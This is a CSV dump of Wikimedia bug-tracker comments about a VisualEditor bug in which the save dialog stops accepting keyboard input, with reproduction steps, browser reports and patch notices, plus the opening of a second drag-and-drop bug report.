231175,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"The (re)fix for this is now merged and will be deployed on Thursday 10 October to MediaWiki.org, and to Wikipedias on Thursday 17 October.",,,1381187020,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,26.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,19.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2592592592592595,0.8148148148148148,"The (re)fix for this is now merged and will be deployed on Thursday 10 October to MediaWiki.org, and to Wikipedias on Thursday 17 October."
231171,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"Change 81876 merged by jenkins-bot:
Make the save dialog an actual dialog

https://gerrit.wikimedia.org/r/81876",,,1381186911,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,17.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,0.9444444444444444,"Change 81876 merged by jenkins-bot:
Make the save dialog an actual dialog

GERRIT_URL"
231168,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"At bug 53332 comment 0 Elias Hedberg notes that he encountered this bug while using Chrome 29.0.1547.57 running in OS X 10.6.8

Previously this seems only to have been encountered in Firefox. Will that affect the pending patch at all?",,,1379954053,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,False,,,12,,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,16.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,12.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,21.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,2.0,16.0,9.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.558139534883721,0.8837209302325582,"At bug 53332 comment 0 Elias Hedberg notes that he encountered this bug while using Chrome 29.0.1547.57 running in OS X 10.6.8

Previously this seems only to have been encountered in Firefox. Will that affect the pending patch at all?"
231165,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,*** Bug 53332 has been marked as a duplicate of this bug. ***,,,1379953641,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 53332 has been marked as a duplicate of this bug. ***
231162,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"BeroBurns at en.wp today reported experiencing this bug:
""The save form does not allow for a keyboard backspace or to highlight text using Shift+Arrows. The only way to edit your description of the changes is to highlight the words you wish to replace with the mouse and retype.""

I personally haven't encountered it since my comment above though.

What is the current state, it's had a patch waiting for review nearly 20 days and is still targetted for the release a month ago yesterday?",,,1379924128,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,1.0,2.0,2.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,2.0,0.0,2.0,1.0,7.0,12.0,0.0,4.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,2.0,7.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,6.0,1.0,3.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,6.0,12.0,2.0,1.0,2.0,0.0,6.0,0.0,1.0,3.0,0.0,3.0,0.0,0.0,0.0,4.206185567010309,0.7835051546391752,"BeroBurns at en.wp today reported experiencing this bug:
""The save form does not allow for a keyboard backspace or to highlight text using Shift+Arrows. The only way to edit your description of the changes is to highlight the words you wish to replace with the mouse and retype.""

I personally haven't encountered it since my comment above though.

What is the current state, it's had a patch waiting for review nearly 20 days and is still targetted for the release a month ago yesterday?"
231158,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"Change 81876 had a related patch set uploaded by Jforrester:
Make the save dialog an actual dialog

https://gerrit.wikimedia.org/r/81876",,,1378325627,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,19.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,4.523809523809524,0.9523809523809523,"Change 81876 had a related patch set uploaded by Jforrester:
Make the save dialog an actual dialog

GERRIT_URL"
231151,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"I do have popups, hotcat and section edit link for the lead section installed. Plus a couple of other things a conversation on the feedback page the other day established as being on by default.

I tried to reproduce this when logged out, and couldn't.
I then logged back in and tried to reproduce it and again I couldn't, even with no changes to gadgets. I didn't try to replicate the exact edit I made though.

Earlier on today was the first time in a while I had experienced it though, which suggests to me that there is probably something more complicated behind when this happens and when it doesn't. I'll do some more detailed testing when I next get time, as it's too perplexing for 1:30am!",,,1377909365,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,False,,,8,,0.5,0.5,0.0,0.0,2.5,4.5,1.0,0.0,1.5,0.0,2.5,3.0,0.0,0.0,0.5,6.0,0.0,13.5,11.0,0.5,1.5,0.0,0.5,0.0,4.0,0.5,0.0,0.5,1.0,0.5,0.0,4.5,0.5,2.5,0.5,0.0,0.0,0.5,0.5,0.5,0.5,0.0,2.0,1.5,0.0,0.0,0.0,0.0,0.0,10.5,1.0,0.5,0.0,1.5,0.0,0.5,0.0,0.5,1.0,0.0,2.0,0.5,0.0,0.0,0.5,0.0,0.0,4.5,2.0,6.5,3.0,3.0,7.5,0.0,0.0,0.5,0.0,3.5,0.0,0.5,0.0,8.5,11.0,0.0,0.0,0.0,0.0,8.5,0.0,3.0,1.5,0.5,0.0,2.0,0.0,0.0,3.878378378378378,0.7297297297297297,"I do have popups, hotcat and section edit link for the lead section installed. Plus a couple of other things a conversation on the feedback page the other day established as being on by default.

I tried to reproduce this when logged out, and couldn't.
I then logged back in and tried to reproduce it and again I couldn't, even with no changes to gadgets. I didn't try to replicate the exact edit I made though.

Earlier on today was the first time in a while I had experienced it though, which suggests to me that there is probably something more complicated behind when this happens and when it doesn't. I'll do some more detailed testing when I next get time, as it's too perplexing for 1:30am!"
231142,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"(In reply to comment #12)
> (In reply to comment #11)
> > 
> > With what browser?
> 
> I encountered it using Firefox 23 on linux, Tathbelin didn't note it in their
> report but I'll ask.
> 
> Sorry

OK, well, it works fine for me on enwiki right now in Firefox 23 on Mac and on Linux (doing the ^, the <, the Esc and the ""return to save form"" ways of bailing). This is perplexing. Do you have some odd gadgets loaded - does it still occur if you switch all gadgets off?",,,1377908358,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,True,,,8,,2.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,3.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,17.0,1.0,2.0,8.0,0.0,0.0,0.0,1.0,4.0,1.0,2.0,0.0,5.0,12.0,14.0,1.0,2.0,0.0,5.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,3.108695652173913,0.6630434782608695,"(In reply to comment #12)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

OK, well, it works fine for me on enwiki right now in Firefox 23 on Mac and on Linux (doing the ^, the <, the Esc and the ""return to save form"" ways of bailing). This is perplexing. Do you have some odd gadgets loaded - does it still occur if you switch all gadgets off?"
231134,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"(In reply to comment #11)
> 
> With what browser?

I encountered it using Firefox 23 on linux, Tathbelin didn't note it in their report but I'll ask.

Sorry",,,1377906476,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,3.0,11.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,5.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,8.0,3.0,5.0,0.0,14.0,11.0,8.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.324324324324324,0.8648648648648649,"(In reply to comment #11)
QUOTE
QUOTE

I encountered it using Firefox 23 on linux, Tathbelin didn't note it in their report but I'll ask.

Sorry"
231126,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"(In reply to comment #9)
> I've just experienced this in my sandbox making this edit:
> https://en.wikipedia.org/w/index.
> php?title=User%3AThryduulf%2Fsandbox&diff=570859913&oldid=570858997
> (testing for bug 52399)
> 
> In this case the series of actions was:
> 1. Make some edits
> 2. Review changes
> 3. Return to editing surface (I can't remember whether I went direct using ^
> or via the save form using <)
> 4. make some more edits
> 5. add an edit summary
> 6. review changes
> 7. return to save orm
> 8. attempt to amend edit summary, but encounter this bug

With what browser?",,,1377899641,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,7.0,30.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9767441860465116,0.3488372093023256,"(In reply to comment #9)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

With what browser?"
231115,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"Nearly simultaneously with my writing the above comment, en.wp user Tathbelin reported on the VE feedback page:

""I had the Problem that while I was writing my Change Summary after editing the page I wasn't able to delete what I had previously written i.e. couldn't use delete or backspace.""

The edit in question was likely https://en.wikipedia.org/w/index.php?title=Henning_Wehn&diff=570856495&oldid=565884244",,,1377898123,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,2.0,0.0,9.0,0.0,9.0,11.0,0.0,2.0,0.0,2.0,0.0,9.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,18.0,5.0,2.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,11.0,8.0,0.0,3.0,0.0,9.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.230769230769231,0.7538461538461538,"Nearly simultaneously with my writing the above comment, en.wp user Tathbelin reported on the VE feedback page:

""I had the Problem that while I was writing my Change Summary after editing the page I wasn't able to delete what I had previously written i.e. couldn't use delete or backspace.""

The edit in question was likely URL"
231105,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"I've just experienced this in my sandbox making this edit:
https://en.wikipedia.org/w/index.php?title=User%3AThryduulf%2Fsandbox&diff=570859913&oldid=570858997 (testing for bug 52399)

In this case the series of actions was:
1. Make some edits
2. Review changes
3. Return to editing surface (I can't remember whether I went direct using ^ or via the save form using <)
4. make some more edits
5. add an edit summary
6. review changes
7. return to save orm
8. attempt to amend edit summary, but encounter this bug",,,1377896367,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,False,,,8,,1.5,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,2.5,0.0,1.0,6.5,0.0,2.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.5,0.5,4.5,1.0,2.0,6.5,0.0,0.0,0.0,0.0,7.0,0.0,5.5,0.0,2.5,6.5,0.5,0.0,0.0,0.0,2.5,0.0,0.0,1.0,0.0,3.0,1.0,0.0,2.5,3.2735849056603774,0.7830188679245284,"I've just experienced this in my sandbox making this edit:
URL (testing for bug 52399)

In this case the series of actions was:
1. Make some edits
2. Review changes
3. Return to editing surface (I can't remember whether I went direct using ^ or via the save form using <)
4. make some more edits
5. add an edit summary
6. review changes
7. return to save orm
8. attempt to amend edit summary, but encounter this bug"
231096,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"I believe that this is now fixed, having followed Chris's very helpful steps to reproduce in bug 52733 comment 1 - tested in Safari, Chrome and Firefox latest on Mac just now against wmf14 as deployed on the Wikipedias right now. Marking as such.

If you can re-produce, please feel free to re-open.",,,1377833711,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,2.0,2.0,0.0,8.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,20.0,0.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,3.0,3.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,14.0,3.0,2.0,3.0,0.0,0.0,0.0,0.0,11.0,2.0,3.0,0.0,3.0,20.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,3.8153846153846156,0.8,"I believe that this is now fixed, having followed Chris's very helpful steps to reproduce in bug 52733 comment 1 - tested in Safari, Chrome and Firefox latest on Mac just now against wmf14 as deployed on the Wikipedias right now. Marking as such.

If you can re-produce, please feel free to re-open."
231088,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,*** Bug 52733 has been marked as a duplicate of this bug. ***,,,1377833584,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52733 has been marked as a duplicate of this bug. ***
231081,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,I updated the summary per comment 5.,,,1373434182,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,I updated the summary per comment 5.
231077,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,I think there is no connection with ULS for this bug. The bug exists at ml.wikipedia where no ULS is installed at present.,,,1373424566,,PHID-USER-4jecvpv4h62htut6pxez,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,16.0,4.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,16.0,12.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.76,I think there is no connection with ULS for this bug. The bug exists at ml.wikipedia where no ULS is installed at present.
231073,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"As per comment 2 and comment 3, changing the component back to VE.",,,1373263596,,PHID-USER-m2yck6646cdt5t6zkta4,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,20.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.6,0.9333333333333333,"As per comment 2 and comment 3, changing the component back to VE."
231069,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"(In reply to comment #2)
> Open the the dialog for entering reason? It disappears after I click ""Save
> Page"". How do I open it again?

A bit more precise:
0) Navigate to [[Mariposa botnet]] and edit the page in the visual editor.
1) Make any textual change - just add ""Test"" somewhere for example.
2) Click ""Save Page""
3) Now, the save page box titled ""Save your changes"" should pop up.
4) Close that box by clicking the ^ icon in the top right of that box.

Now, you should be where you started at step 2

5) Repeat steps 2 and 3
6) Try to add a text as the reason, then press backspace to delete what you just
added.",,,1373203660,,PHID-USER-ohetl546bwt5ac2szu5w,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,False,,,0,,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,0.0,6.0,7.5,0.0,2.5,1.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,3.5,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,13.5,0.0,1.5,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.5,9.5,0.5,1.0,6.5,0.0,0.0,0.0,0.5,8.5,0.0,4.0,0.0,3.0,7.5,1.5,0.0,3.5,0.0,3.0,0.0,1.5,1.0,0.0,0.5,0.5,0.0,3.5,2.9930555555555554,0.7291666666666667,"(In reply to comment #2)
QUOTE
QUOTE

A bit more precise:
0) Navigate to [[Mariposa botnet]] and edit the page in the visual editor.
1) Make any textual change - just add ""Test"" somewhere for example.
2) Click ""Save Page""
3) Now, the save page box titled ""Save your changes"" should pop up.
4) Close that box by clicking the ^ icon in the top right of that box.

Now, you should be where you started at step 2

5) Repeat steps 2 and 3
6) Try to add a text as the reason, then press backspace to delete what you just
added."
231065,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"By default input method from ULS is disabled in en.wikipedia.org. ie by default it does not do anything on textareas.

Even if it is enabled, there is no input method for English except IPA which optional. 

So in the case of the above bug, before mapping it to ULS component, please tell us whether input method was activated from the cog icon in the languages menu. Also let us know whether you were using IPA.

If this is not the case, the component is not ULS.

(In reply to comment #0)
> Steps to reproduce:
> 
> * Navigate to [[Mariposa botnet]] and edit the page in the visual editor.
> * Make any textual change - just add ""Test"" somewhere for example.
> * click ""Save Page""
> * Adding a reason doesn't matter. Just click to close the save page popup.
> * Immediately open it again (Don't click anywhere else)

Open the the dialog for entering reason? It disappears after I click ""Save Page"". How do I open it again?",,,1373199167,,PHID-USER-m2yck6646cdt5t6zkta4,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,False,,,0,,0.0,0.5,0.0,1.0,2.0,1.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.5,2.5,0.0,5.0,11.5,0.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,6.0,1.5,3.0,1.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,12.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,4.5,4.0,16.5,3.5,0.0,6.5,0.0,0.0,0.0,0.5,3.5,0.5,0.5,0.0,6.0,11.5,9.5,1.5,1.5,0.0,6.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.5,3.601351351351351,0.6891891891891893,"By default input method from ULS is disabled in en.wikipedia.org. ie by default it does not do anything on textareas.

Even if it is enabled, there is no input method for English except IPA which optional. 

So in the case of the above bug, before mapping it to ULS component, please tell us whether input method was activated from the cog icon in the languages menu. Also let us know whether you were using IPA.

If this is not the case, the component is not ULS.

(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Open the the dialog for entering reason? It disappears after I click ""Save Page"". How do I open it again?"
231059,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"Yes, this is a really horrible problem that we've narrowed-down to be related to ULS's munging of <textarea>s in Firefox (and possibly other browsers?). Referring to them.",,,1373159168,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,5.0,10.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,5.0,12.0,10.0,2.0,0.0,0.0,5.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,2.0,3.625,0.925,"Yes, this is a really horrible problem that we've narrowed-down to be related to ULS's munging of <textarea>s in Firefox (and possibly other browsers?). Referring to them."
52721,VisualEditor: Prevent drag and drop of non-media content using monobook skin in Firefox,"(Tested on Firefox 22, Monobook skin)

Steps to reproduce

- Go to the ""The Damned Thing (short story)"" page and edit it with the visual editor.
- Go to the ""Gothic elements"" selection, and select all the text from ""Gothic elements"" (Header) to ""inadequate."" (Last word of the section). This should also select the image.
